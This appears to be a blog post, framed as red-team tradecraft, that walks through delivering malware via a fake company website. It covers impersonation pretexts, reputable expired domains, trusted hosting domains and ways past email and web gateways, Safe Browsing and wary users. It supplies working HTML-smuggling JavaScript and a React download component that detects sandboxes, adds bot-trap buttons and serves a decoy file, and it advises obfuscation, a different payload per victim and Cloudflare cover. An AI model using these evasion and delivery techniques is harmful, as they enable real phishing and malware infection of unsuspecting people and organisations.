Malware Delivery via Custom Website in 2025
Since I recently happened to deliver malware as part of a redteam exercise through a website pretending to be a legitimate company, in this post I will present all the aspects that need to be taken into account when implementing such a scenario.
(Many of the techniques described below are also useful for phishing)
Theory
Our goal is to deliver a link to a website to the victim's email inbox. The email must reach and not be filtered as a spam. Then the interested victim must click on the link. The website must open and not be blocked on the browser. The user must not suspect that the site is malicious and then download the malware. Malware development and execution chain is beyond the scope of this article.
There are at least three layers of security that we need to consider when implementing such a scenario:
-
Secure Email Gateway (SEG): The email message, before it reaches your victim's mailbox, will be scanned by SEG. The domain from which the message was sent will be verified, all links contained in the content will be verified, some of them will be opened by the sandbox (anti-phishing, anti-malware) scanner. Our goal is to slip under the radar of SEG to reach the victim's mailbox.
-
Secure Web Gateway (SWG): Once the message arrives in the mailbox, the victim must open the link. Our page can be blocked even before the browser loads it. SWG scans the requests that come out of your browser and into it. Much depends on the individual policy set by the target company. SWG scans the page content in real time and looks for malicious content. Our goal is to slip under the radar of SWG so that the page opens unhindered on a victim's browser.
-
Human Gateway (HG): Once the site is sucessfully displayed in the browser, the victim must be convinced that the site is safe and legitimate. A properly motivated victim is able to explain a lot of things to himself. Attention to detail is not only about getting the victim to download the malware, but also about not reporting the suspicious site to their SOC. Our goal is to download the malware and remain undetected.
-
*Security Bots: The last problem is random security bots crawling all over the Internet, which can mark our site as malicious and block access to it. The most popular such solution is Google Safe Browsing.
Scenario and branding
We must start by choosing the branding of our site. There are basically two options:
- A site that impersonates another site well known to our target.
- A site that pretends to be a real (fake) company.
It is important to remember that whatever we choose the site should justify downloading the file. It all depends on the purpose of the attack: a different page and pretext will be used to attack HR, and another to attack the IT department. Some inspiration for scenarios:
WEBSITE | PRETEXT
|
1. CV generator | I want to work for you, here's my CV
2. training platform | Check out this free materials and agenda
3. invoice generator | You have an unpaid invoice!
4. 3rd-party file share | Here you have the cooperation-related files
5. helpdesk / software.com | Download this security update immediately!
Domain
The domain is the first thing the SEG and SWG look at. It is also often the only thing by which a victim is able to figure out that the site they are visiting is fake or malicious.
There are basically two effective options for selecting a domain: expired domain with reputation and trusted 3rd-party domain. Below I present both of them.
There is also the option of buying a new domain and building its reputation from scratch. This is by far the most time-consuming technique. I don't cover it in this post. Good research on this topic by Daniel Shnaider: link.
Expired domain
Millions of domains expire every day around the world [*]. Most of them were bought for nothing and never used. However, we are interested in those that have been actively used in the past.
At expireddomains.net (after login) we can search recently expired domains. In my experience, sorting by “backlinks” gives the best results - the more backlinks, the greater the chance that the domain was actually used and it has gained reputation.
When choosing an expired domain, three things are important:
1. Categorization: The domain should be categorized to best match the profile of the company we're attacking. If we are conducting an exercise for a financial client, a domain in the "finance" category can be treated as more trusted by the SEG and SWG systems, as they are more common for the client. Categories like health or medicine can also increase credibility.
2. Reputation: The most important thing is that the domain is not rated as malicious or phishing. Most domains have a neutral reputation. Ideally, if the domain's reputation is positive or trusted.
We can verify domain categorization and reputation using following security providers:
The rule of thumb is simple: the more services recognize and categorized our domain, the better, the more reliable our domain looks to SEG and SWG systems. Typically, Cisco Talos and IBM X-Force are the most restrictive - I recommend starting with them.
3. History: The fresher the domain the better. It is good if the domain has a history available on a service such as Web Archive.
Trusted 3rd-party domain
The second technique, increasingly used, is to use well-known platforms that offer a unique link to the resource. These large platforms usually give their own trusted TLS certificate and are difficult to block, unless you want to break much of the Internet in your company. Such a service can act as a main hosting server or proxy to your server.
One such service is Azure, which allows you to set up your own subdomain in the *.azurewebsites.net
domain. The TLS certificate issued by Microsoft is much loved by various types of SEG and SWG solutions.
Another examples:
- *.amazonaws.com
- *.netlify.app
- *.github.io
- More: LoTS Project
Building website
Time to build our site! At first we will focus on general web development, then we will move on to the details of serving malware.
I recommend the following technology stack:
- Bun - standalone JS runtime and package manager (easy to install and use).
- Vite - dev server and bundler (compiler).
- React - frontend framework.
I know that for someone who is not into frontend on a daily basis it may sound a bit complicated. I recommend using the benefits of AI. All leading models understand React very well.
Quick start:
# Start new project
bun create vite smuggling --template react
cd smuggling
# Install dependencies
bun install
# Run dev server
bun run dev
After all, it's just a simple website, why can't I just use plain HTML and JavaScript?! Actually you can, but I advise against it. Using a modern frontend stack gives us natural protection from scanners. Pages written in React (no Server Side Rendering, just Single-Page Application) are 95% minified and obfuscated JavaScript. Most scanners do not run JavaScript at all, and it is virtually impossible to statically analyze it. If the scanner tries to render pure HTML, it will see virtually nothing. In addition, using the package manager we are able to use all those sweet libraries available in the NPM repositories, which only adds authenticity to our site and increases the complexity of the code. Generally - we have more capabilities, and the scanners can't handle it. And this is not suspicious, because a very large part of today's Internet works this way.
Example of a compiled JS code of React framework:
We live in the age of AI so you can use some AI to generate the code you need. Since this is not a post about writing frontend, I won't go into it more.
For CSS, I recommend Tailwind library. It is trivial to use and all AI models do well in generating code using Tailwind.
NOTE: I do not recommend attaching any resources from any external domain to your code. Don't use Tailwaind hosted on a CDN or similar! Some security solutions like SWG may display your site, but block access to external resources, making the user get an incomplete page that looks very suspicious.
Keep in mind:
- The site must look professional to look credible. People think that malicious sites are always ugly and unprofessional.
- Branding matters, the more data the better: logo, phone numbers, email addresses, names.
- Stock graphics add credibility.
- Take care of the basic HTML meta tags: title, description, language, coding.
- Favicon adds credibility.
NOTE: If you are going to send a link via some messenger (Slack, Teams, WhatsApp, Signal, Messanger, LinkedIn) then consider implementing OpenGraph tags. This will allow you to display a professional thumbnail of your website. Below is an example of an OpenGraph preview image in Discord:
After building the project (bun run build
) you will get static files that you can host on any server (no backend code).
Decoy file
The last thing we need to gain credibility is a decoy file. There are cases when we can't serve the user our armed payload. For example, if we detect a bot, or the client is using a Mac, and our malware is only prepared for Windows. We may also have some other specific conditions that need to be met. Depending on the scenario, we will need a harmless file that will not blow up our operation.
In my case, it is usually a PDF, which we can easily prepare using Canva or Microsoft Office.
Malware download mechanism
FINALLY!!! Stop the bullshit and give me the malware!
Malware Smuggling & OPSEC
Our goal is to deliver the malware to the user's browser in such a way that it remains undetected by SWG. Once the user clicks the “download” button, the file should already be constructed locally and no HTTP request should be executed.
Ways to smuggle malware are plentiful. Honestly, SWGs don't do well with even the most basic techniques. The classic method is “hiding in plain sight”: in JS script (easiest), images (classic steganography), SVG files and so on. This technique uses the most basic HTTP request-response mechanism. Browsers implement a whole bunch of other protocols (e.g. WebRTC, gRPC, WebSocket, Server Sent Events), which are usually not monitored by SWG at all. So far, however, “hiding in plain sight,” even in this most basic form with a JS file, has never failed me. There may be a need for more sophisticated techniques in the future.
See more about malware smuggling and SWG bypassing techniques in the following DEFCON presentation: Breaking Secure Web Gateways for Fun and Profit. Demo of many different techniques available here: browser.security.
I recommend starting background smuggling as soon as the user enters the page (1 second pause), without waiting for user interaction. Sort of like pre-smuggling. This gives us two OPSEC advantages: first, we interrupt the potentially monitored sequence of click -> HTTP request -> download, and second, our malware may weigh several megabytes and the Internet may be slow. Thanks to background smuggling after a click the malware is downloaded immediately.
For better OPSEC I always initiate smuggling request with native HTML elements, not from JavaScript level. I append the tag <script src=“/smuggler.js”></script>
to the DOM structure, rather than executing fetch('/smuggler.js')
. The browser distinguishes between these two ways of calling network communication.
NOTE: A good idea might be payload jungling - you generate a few hundred malware samples with a unique signature, then a few hundred smuggling files and randomly select them dynamically using JavaScript. A different payload for each user.
An example implementation of a smuggling file:
// File: smuggler.js
function __downloadFile(byteArray, fileName, mimeType) {
let blob = new Blob([new Uint8Array(byteArray)], { type: mimeType })
let url = URL.createObjectURL(blob)
let a = document.createElement("a")
a.href = url
a.download = fileName
document.body.appendChild(a)
a.click()
document.body.removeChild(a)
URL.revokeObjectURL(url)
}
// This function is executed from React on "click" event
function downloadFile() {
// PUT YOUR BINARY DATA HERE!!!
const data = [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
__downloadFile(data, "file.txt", "text/plain")
}
Of course, in a real-world scenario, you can additionally use obfuscation and add snippets of random code to obscure malicious intent.
Anti-Scanners & Anti-Sandbox Measures
To host a malicious site, we need to take some precautions. As I mentioned before, the threat to us is all scanners (SEG, SWG, Google Safe Browsing), which can perform static and dynamic analysis of the site based on a controlled sandbox.
How to detect a sandbox? A few things we can do:
- Execute JavaScript - most scanners still won't run JavaScript! Using React actually gives us this OPSEC measure out-of-the-box.
- Timeout - wait a second before smuggling malware. The victim probably won't click any faster anyway. If the sandbox is waiting for the page to render, a second's wait is already likely to discourage it.
- OS detection - if the OS doesn't match with our target, then smuggle a harmless decoy file. This will protect us from burning the operation.
- Screen size - bots often set the incorrect screen size. Using this technique we are also able to detect mobile device users to whom we do not want to serve our malware.
- User Agent - bots often have an unusual User Agent that does not match real browsers.
- Trap buttons - add hidden trap buttons that only the bot clicks. This way we will recognize if a bot is walking around the site.
- Bad HTML practices - using bad HTML practices can naturally obscure the meaning of our code. E.g. using a
div
element with anonclick
action instead of the classicbutton
element can cause the sandbox to not click it.
Example implementation of selected techniques:
// File: Button.tsx
import React from "react"
import { useEffect, useState } from "react"
import { UAParser } from "ua-parser-js"
import { isBot } from "ua-parser-js/helpers"
const isArmed = () => {
const parser = new UAParser()
// Heuristics to download armed payload
if (isBot(parser.getUA())) return false
if (parser.getOS().name?.toLowerCase() !== "windows") return false
if (window.innerWidth < 500 || window.outerWidth < 500) return false
return true
}
const DownloadButton = () => {
const [isEnabled, setEnabled] = useState(true)
useEffect(() => {
// Start JS smuggling after a second
const timeout = setTimeout(() => {
// Decide if the smuggled file should be armed or unarmed (decoy)
const version = isArmed() ? "armed" : "unarmed"
// Download JS smuggler file from a server
const script = document.createElement("script")
script.src = `smuggler-${version}.js`
document.body.appendChild(script)
}, 1000)
return () => clearTimeout(timeout)
}, [])
const onDownload = () => {
if (!isEnabled) return
// Call a function exported by the smuggler script
// to start client-side download
const downloadFile = new Function("downloadFile()")
downloadFile()
}
return (
<>
{/* Hidden trap buttons to detect bots and block download button */}
<button
style={{ position: "absolute", top: -500, left: -500 }}
onClick={() => setEnabled(false)}
>
TRAP
</button>
{/* Download button as a div with action */}
<div onClick={onDownload}>DOWNLOAD</div>
<button
style={{ position: "absolute", top: -500, left: -500 }}
onClick={() => setEnabled(false)}
>
TRAP
</button>
</>
)
}
export default DownloadButton
NOTE: The above script does not give the attacker any feedback whether the victim actually downloaded the file (whether the button was clicked). If you need such information then consider adding an additional dummy request at the time of download, just to have the information about the download action in your server's logs.
CloudFlare
The final step is to hide our actual IP address behind the CloudFlare service. This is an essential step for good OPSEC. Even if our domain is blocked, we will be able to use another one, because the IP address of the actual hosting server will not be discovered.
In addition, CloudFlare gives us protection against bots. We have two settings that can protect us from bot scanning:
- Security Setting - display security captcha before entering the site.
- Fight Bot + Fight AI Bot - block all bots automatically.
NOTE: Setting overly restrictive rules can also be suspicious. Legitimate sites usually do not display a captcha to every user. Additionally, solving the captcha may give the user extra seconds to think. Personally, I usually turn on “Fight Bot” mode and Security Setting to "low". A normal user still shouldn't see the captcha, and there's a good chance that bots will be blocked.
CloudFlare will provide our site with an SSL certificate, without additional configuration. However, it is worth remembering that the encryption provided by CloudFlare is not end-to-end to your server. If you care about the security of the transmitted information then you need to generate a custom certificate and upload it to your server.
Using CloudFlare, we can also control the data shared in the WHOIS registry. Controlled change ("WHOIS leak") of information can also increase credibility for scanners.
Final words
Above I outlined a few things to keep in mind during redteam exercises. I hope it will be useful to someone. Happy hacking :)
~ Print3M